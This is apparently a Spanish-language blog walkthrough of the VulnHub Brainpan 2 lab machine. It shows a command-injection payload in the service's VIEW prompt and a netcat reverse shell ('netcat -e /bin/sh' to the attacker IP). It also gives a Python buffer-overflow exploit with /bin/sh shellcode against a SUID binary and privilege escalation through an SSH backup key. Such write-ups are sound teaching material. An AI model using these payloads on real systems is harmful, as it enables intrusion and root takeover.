xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



VulnHub

Brainpan 2



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde solo vemos 2 puertos abiertos, 9999 y 10000 igual que en la maquina brainpan 1

❯ nmap 192.168.100.5  
Nmap scan report for 192.168.100.5
PORT      STATE    SERVICE
9999/tcp  open     abyss
10000/tcp open     snet-sensor-mgmt

En la web del puerto 10000 encontramos una página sin nada realmente interesante

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.100.5:10000/FUZZ -t 100 --hc 404  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.100.5:10000/FUZZ
Total requests: 4715

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000855:   301        0 L      0 W        0 Ch        "bin"

En el directorio /bin de la web encontramos un archivo llamado brainpan.exe sin embargo al descargarlo vemos que no es un binario sino una simple imagen

❯ file brainpan.exe
brainpan.exe: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85", baseline, precision 8, 381x307, components 3  

Al conectarnos con netcat al puerto 9999 nos devuelve el mismo banner de simplemente 2.0, el programa nos dice que nos autentiquemos como GUEST

❯ netcat 192.168.100.5 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[______________________ WELCOME TO BRAINPAN 2.0________________________]  
                             LOGIN AS GUEST                             

                          >>

Después de enviar GUEST nos otorga acceso que nos pide enviar TELL ME MORE para ver mas opciones, donde encontramos varias que llaman bastante la atencion

                          >> GUEST
                          ACCESS GRANTED


                             *  *  *  *                                
    THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.  
    TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.  
                             *  *  *  *                                


                          >> TELL ME MORE
    FILES    HELP    VIEW       CREATE
    USERS    MSG     SYSTEM     BYE

                          >>


Shell - anansi


Enviando FILES podemos ver los archivos como si estuvieramos ejecutando un ls

                          >> FILES
total 36
-rwxr-xr-x 1 root   root   18424 Nov  4  2013 brainpan.exe  
-rw-r--r-- 1 root   root    1109 Nov  5  2013 brainpan.txt  
-rw-r--r-- 1 root   root     683 Nov  4  2013 notes.txt
-rw-r--r-- 1 anansi anansi    12 Nov  5  2013 test-1
-rwxrwxrwx 1 anansi anansi    19 Nov  5  2013 test-2
                          >>

Usando el comando VIEW nos pide un archivo al cual probablemente hace un cat

                          >> VIEW
    ENTER FILE TO DOWNLOAD: /etc/hosts
127.0.0.1	localhost
127.0.1.1	brainpan2

# The following lines are desirable for IPv6 capable hosts  
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
                          >>

En el archivo a leer enviamos test y adjuntamos un ; id para ejecutar otro comando, en el output podemos ver que ejecuta el comando como el usuario anansi

                          >> VIEW
    ENTER FILE TO DOWNLOAD: test; id
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)  
                          >>

Ya que ejecutamos comandos en VIEW, nos enviamos una reverse shell con netcat

                          >> VIEW
    ENTER FILE TO DOWNLOAD: test; netcat -e /bin/sh 192.168.100.73 443  

Al hacerlo recibimos una shell como el usuario anansi en nuestro listener de netcat que curiosamente pertenece al grupo staff que por ahora no nos sirve de nada

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.5 
script /dev/null -c bash
anansi@brainpan2:/opt/brainpan$ id
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)  
anansi@brainpan2:/opt/brainpan$ hostname -I
192.168.100.5 
anansi@brainpan2:/opt/brainpan$


Shell - root


Buscando por ejecutables con privilegios suid encontramos uno personalizado que llama algo la atención, y es msg_root el cual pertenece al usuario y grupo root

anansi@brainpan2:~$ find / -perm -u+s 2>/dev/null
/usr/sbin/exim4
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/umount
/bin/ping
/bin/mount
/bin/ping6
/bin/su
/home/reynard/msg_root
anansi@brainpan2:~$ ls -l /home/reynard/msg_root
-rwsr-xr-x 1 root root 8999 Nov  6  2013 /home/reynard/msg_root  
anansi@brainpan2:~$

El programa pide como argumento un usuario y un mensaje, sin embargo incluso pasandole los argumentos no queda muy claro cual es su funcion o que hace

anansi@brainpan2:~$ /home/reynard/msg_root
usage: msg_root username message
anansi@brainpan2:~$ /home/reynard/msg_root username message  
Your message is message
anansi@brainpan2:~$

Para decompilarlo y analizarlo mejor podemos enviarlo a nuestro equipo con netcat

anansi@brainpan2:~$ netcat 192.168.100.73 4444 < /home/reynard/msg_root  
anansi@brainpan2:~$

❯ netcat -lvnp 4444 > msg_root
Listening on 0.0.0.0 4444
Connection received on 192.168.100.5  

Usando ida desensamblamos el binario, la función main inicia comprobando que la cantidad de argumentos sea mayor a 2, si es asi le pasa los 2 primeros argumentos a la función get_name, de lo contrario muestra un mensaje de uso con puts y sale

La función get_name inicia guardando en una variable un puntero a la función save_msg, luego toma la longitud del primer argumento y la compara con 0x11, si es mayor usa strncpy para copiar 0x12 bytes a un buffer, si es menor o igual usa strcpy sin ninguna sanitización para copiar a un buffer en ebp - 12, resumiendo tenemos un Buffer Overflow pero con una limitación de 0x12 o 18 bytes

Sin importar el camino que tome luego reserva un espacio en memoria de 2000 bytes con malloc y almacena el segundo argumento en ese espacio que se supone es el mensaje, luego guarda en eax el puntero a save_msg y lo llama con un call eax

La función save_msg muestra el mensaje con printf y escribe el usuario y el mensaje en el archivo /tmp/msg.txt utilizando fprintf, podemos comprobarlo leyendolo

anansi@brainpan2:~$ cat /tmp/msg.txt  
username: message
anansi@brainpan2:~$

Antes de explotar el Buffer Overflow podemos ver las protecciones del binario con checksec, no tiene ninguna habilitada lo que facilitara bastante la explotacion

❯ checksec msg_root
[*] '/home/user/msg_root'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)  
    RWX:      Has RWX segments

Ya que el máximo de bytes es de 18, enviaremos 14 A's y 4 B's en el primer argumento, en el segundo enviamos 8 C's, cuando corrompe el return address se sobrescribe con las B's, tenemos un problema, ya usamos el máximo de bytes asi que no podemos guardar datos en el stack, además el return value en eax no es un puntero al buffer sino el propio return address por lo que el ret2reg no funcionará

❯ gdb -q msg_root
Reading symbols from msg_root...
pwndbg> cyclic 20
aaaabaaacaaadaaaeaaa
pwndbg> run AAAAAAAAAAAAAABBBB CCCCCCCC
Starting program: /home/user/msg_root AAAAAAAAAAAAAABBBB CCCCCCCC
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".  

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
pwndbg> p/x $eip
$1 = 0x42424242
pwndbg> p/x $eax
$2 = 0x42424242
pwndbg>

Si buscamos las 8 C's podemos ver que aparecen 2 resultados, el primero en alguna parte del stack sin embargo la dirección es aleatoria, la otra coincidencia es en el heap, y al ser parte del propio binario y no tener la protección PIE deberia ser una dirección estática, además los permisos en este segmento son rwx asi que podemos simplemente saltar ahí ejecutar un shellcode que nos devuelva una /bin/sh

pwndbg> search CCCCCCCC
Searching for value: 'CCCCCCCC'
[heap]          0x804a008 'CCCCCCCC'
[stack]         0xffffd784 'CCCCCCCC'
pwndbg> vmmap 0x804a008
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
     Start        End Perm     Size Offset File
 0x8049000  0x804a000 rw-p     1000   2000 /home/user/msg_root
►0x804a000  0x806c000 rw-p    22000      0 [heap] +0x1a0
0xf7e75000 0xf7fd1000 r-xp   15c000      0 /home/user/libc.so.6  
pwndbg>

Podemos verlo de forma mas descriptiva con el comando heap, el segundo chunk es de 0x7e1 o 2000 bytes que fue lo que vimos desde ida que se asignó con malloc para el mensaje, si miramos el chunk con vis podemos ver que después del dword de tamaño aparece nuestra data del segundo argumento en la dirección 0x804a008

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x8049e70
Size: 0x190 (with flag bits: 0x191)

Allocated chunk | PREV_INUSE
Addr: 0x804a000
Size: 0x7e0 (with flag bits: 0x7e1)

Top chunk | PREV_INUSE
Addr: 0x804a7e0
Size: 0x21688 (with flag bits: 0x21689)

pwndbg> vis 0x804a198
0x804a000	0x00000000	0x000007e1	........
0x804a008	0x43434343	0x43434343	CCCCCCCC
0x804a010	0x00000000	0x00000000	........
---------	----------	----------	........
0x804a7d8	0x00000000	0x00000000	........
0x804a7e0	0x00000000	0x00021689	........	 <-- Top chunk  
pwndbg>

Entonces iniciamos el exploit, nuestro payload del primer argumento sera rellenar con A's hasta el return address y en el saltaremos a la dirección en el heap donde se guarda nuestro segundo argumento y como en el segundo argumento enviamos un shellcode que nos ejecuta una /bin/sh el programa nos deberia devolver una shell

#!/usr/bin/python2
import struct

p32 = lambda addr: struct.pack("<i", addr)

shellcode = b"\x6a\x0b\x58\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x99\xcd\x80"  

offset = 14
junk = b"A" * offset

payload  = b""
payload += junk
payload += p32(0x804a008)
payload += b" "
payload += shellcode

print(payload)

Al ejecutar el exploit podemos ver que se ejecuta el shellcode y nos devuelve una shell como el usuario propietario del binario que en este caso era el usuario root

anansi@brainpan2:~$ /home/reynard/msg_root $(python2 exploit.py)  
$ whoami
root
$ hostname -I
192.168.100.5 
$


Shell - puck


Si intentamos leer la flag en el directorio /root nos devuelve permiso denegado y el archivo whatif.txt nos confirma con un mensaje que aun no somos el usuario root

$ cd /root
$ ls -l
-rw------- 1 root  root  461 Nov  5  2013 flag.txt  
-rw------- 1 root  root  245 Nov  5  2013 whatif.txt  
$ cat flag.txt
cat: flag.txt: Permission denied
$ cat whatif.txt

       WHAT IF I TOLD YOU
              ___
            /     \ 
           | ______\
          (, \_/ \_/
           |   ._. |
           \   --- /
           /`-.__.'
      .---'`-.___|\___
     /                `.

       YOU ARE NOT ROOT?

$

Filtrando por la cadena root en el archivo /etc/passwd podemos encontrar a 2 usuarios root con el id 104 y root con un espacio que es el id 0 que queremos

$ grep root /etc/passwd
root:x:104:106:root:/root:/bin/bash  
root :x:0:0:root:/var/root:/bin/bash  
$

Para evitar conflictos, con python haremos que nuestro uid y gid sea igual a 104, despues nos lanzamos una bash que puede llegar a ser un poco mas interactiva

$ python2
Python 2.7.3
>>> import os
>>> os.setreuid(104, 104)
>>> os.system("bash")
root@brainpan2:~$ whoami
root
root@brainpan2:~$ hostname -I  
192.168.100.5 
root@brainpan2:~$

Volvemos a listar binarios con privilegios suid, y encontramos un brainpan-1.8.exe

root@brainpan2:~$ find / -perm -u+s 2>/dev/null  
/opt/old/brainpan-1.8/brainpan-1.8.exe
/usr/sbin/exim4
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/umount
/bin/ping
/bin/mount
/bin/ping6
/bin/su
/home/reynard/msg_root
root@brainpan2:~$

El binario pertenece al usuario puck, en ese directorio tambien existe un archivo brainpan.cfg en el cual cualquier usuario permisos rw- por lo que puede escribir

root@brainpan2:/opt/old/brainpan-1.8$ ls -l
-rwsr-xr-x 1 puck puck  17734 Nov  4  2013 brainpan-1.8.exe  
-rw-r--r-- 1 puck puck   1227 Nov  5  2013 brainpan.7
-rw-rw-rw- 1 puck staff    25 Jul 25 16:13 brainpan.cfg
root@brainpan2:/opt/old/brainpan-1.8$

El archivo cfg contiene un puerto y una direccion ip, y parece que esta es la conifuracion que usa como listener el binario brainpan-1.8.exe al ejecutarlo

root@brainpan2:/opt/old/brainpan-1.8$ cat brainpan.cfg
port=9333
ipaddr=127.0.0.1
root@brainpan2:/opt/old/brainpan-1.8$ ./brainpan-1.8.exe  
port = 9333
ipaddr = 127.0.0.1
+ bind done
+ waiting for connections...

Ya que podemos escribir en el archivo cfg cambiamos la variable ipaddr por 0.0.0.0 para que podamos acceder al puerto 9333 desde nuestro equipo de atacante

root@brainpan2:/opt/old/brainpan-1.8$ echo -e "port=9333\nipaddr=0.0.0.0" > brainpan.cfg  
root@brainpan2:/opt/old/brainpan-1.8$ cat brainpan.cfg
port=9333
ipaddr=0.0.0.0
root@brainpan2:/opt/old/brainpan-1.8$ ./brainpan-1.8.exe
port = 9333
ipaddr = 0.0.0.0
+ bind done
+ waiting for connections...

Al conectarnos al puerto 9333 podemos ver que corre el mismo servicio del inicio

❯ netcat 192.168.100.5 9333
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[______________________ WELCOME TO BRAINPAN 1.8________________________]  
                             LOGIN AS GUEST                             

                          >>

Sabemos que podemos ejecutar comandos, asi que volvemos a hacer el proceso de autenticarnos como GUEST y aprovechandonos de VIEW nos enviamos una shell

                          >> GUEST
                          ACCESS GRANTED


                             *  *  *  *                                
    THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.  
    TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.  
                             *  *  *  *                                


                          >> VIEW
    ENTER FILE TO DOWNLOAD: test; netcat -e /bin/sh 192.168.100.73 443  

Al hacerlo recibimos nuevamente una shell esta vez como puck, al lanzarnos una bash usaremos el parametro -p ya que estamos bajo el contexto del binario suid

❯ sudo netcat -lvnp 443 
Listening on 0.0.0.0 443
Connection received on 192.168.100.5
script /dev/null -c "bash -p"
bash-4.2$ whoami
puck
bash-4.2$ hostname -I
192.168.100.5 
bash-4.2$


Shell - root 2


Nuevamente con python actualizamos nuestro uid y gid por 1001 correspondiente a puck, para asi obtener una shell que no tendra problemas por el identificador

bash-4.2$ python2 
Python 2.7.3
>>> import os
>>> os.setreuid(1001, 1001)
>>> os.system("bash")
puck@brainpan2:~$ whoami 
puck
puck@brainpan2:~$ hostname -I  
192.168.100.5 
puck@brainpan2:~$

Al listar todos los archivos existentes partiendo del home de puck encontramos un clave privada id_rsa dentro de un directorio oculto que es ~/.backup/.ssh/

puck@brainpan2:~$ find
.
./.ssh
./.ssh/known_hosts
./.ssh/id_rsa.pub
./.ssh/id_rsa
./.profile
./.bash_history
./.backup
./.backup/.ssh
./.backup/.ssh/id_rsa.pub  
./.backup/.ssh/id_rsa
./.backup/.profile
./.backup/.bash_history
./.backup/.bashrc
./.backup/.bash_logout
./.bashrc
./.bash_logout
puck@brainpan2:~$

Al intentar conectarnos como el usuario root correspondiente al uid 0 al localhost nos dice que no tenemos conexion con el servicio ssh desde la 127.0.0.1:22

puck@brainpan2:~$ ssh "root "@127.0.0.1 -i .backup/.ssh/id_rsa  
ssh: connect to host 127.0.0.1 port 22: Connection refused
puck@brainpan2:~$

Si vemos la configuracion de ssh vemos que el servicio corre en 127.0.1.1:2222

puck@brainpan2:~$ grep -vE '^$|^#' /etc/ssh/sshd_config | head -n2  
Port 2222
ListenAddress 127.0.1.1
puck@brainpan2:~$

Nos conectamos como el usuario root a la 127.0.1.1 por el puerto 22 usando la id_rsa para autenticarnos y obtenemos una shell como el root que tiene el uid 0

puck@brainpan2:~$ ssh "root "@127.0.1.1 -p 2222 -i .backup/.ssh/id_rsa  
root @brainpan2:~# id
uid=0(root ) gid=0(root ) groups=0(root )
root @brainpan2:~# hostname -I
192.168.100.5 
root @brainpan2:~# cat /root/flag.txt 

                          !!! CONGRATULATIONS !!!

                 You've completed the Brainpan 2 challenge! 
                 Or have you...? 

                 Yes, you have! Pat yourself on the back. :-)

                 Questions, comments, suggestions for new VM
                 challenges? Let me know! 


                 Twitter: @superkojiman
                 Email  : contact@techorganic.com
                 Web    : http://www.techorganic.com

root @brainpan2:~#